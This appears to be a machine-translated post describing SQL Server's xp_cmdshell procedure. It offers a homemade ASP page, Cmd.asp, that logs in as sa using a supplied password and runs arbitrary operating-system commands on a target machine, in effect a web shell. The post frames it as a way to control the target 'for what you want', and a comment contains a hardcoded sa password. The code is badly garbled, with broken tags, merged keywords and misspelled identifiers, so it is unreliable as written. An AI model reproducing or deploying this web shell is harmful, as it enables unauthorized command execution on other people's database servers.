The xp_cmdshell stored procedure is the CMD command to execute this unit, requiring the system to have SA permissions, that is, if you get SQLServer's sa command, you can use the target machine for what you want, the well-known software "stream" should be this stored procedure Implement the operation on the target. Below is a simple application page I wrote, the code is as follows. Cmd.asp <% @ language = "vbscript" codepage = "936"%>
style> head><% if Request ("cmd") <> "" ">
xp_cmdshell Request Results span> td> tr> <%
DIM ConnTr, Conn, RS, Iconnstr = "proviDER = SQLOLEDB.1; PERSIST security info = false; server =" & requirements ("server") & "; uid = sa; pwd =" & requirements) & " Database = MASTER "'Connstr =" "' connStr =", "Persist security info = false; server = (local); UID = sa; pwd = www.zhi.net; database = master" set conn = server.createObject (" Adodb.connection ") Conn.open ConnStRSET RS = Server.createObject (" AdoDb.Recordset ") SET RS = Conn.execute (" XP_CMDSHELL '"& Replace (Request (" CMD "),"' "," '" "), chr (34)," '' ") &" ') i = 0WHile Not Rs.eofif Not Isnull (RS (0)) Thenif i mod 2 = 0 ThenRESPONSE.WRITE " "& rs (0) &" td> | " & r ( 0) & " td> tr>" END IFI = i 1END IFRS.MOVENEXTWENDRS.CLOSESET RS = NothingConn.Closset Conn = Nothing%> table> <% end if%> | |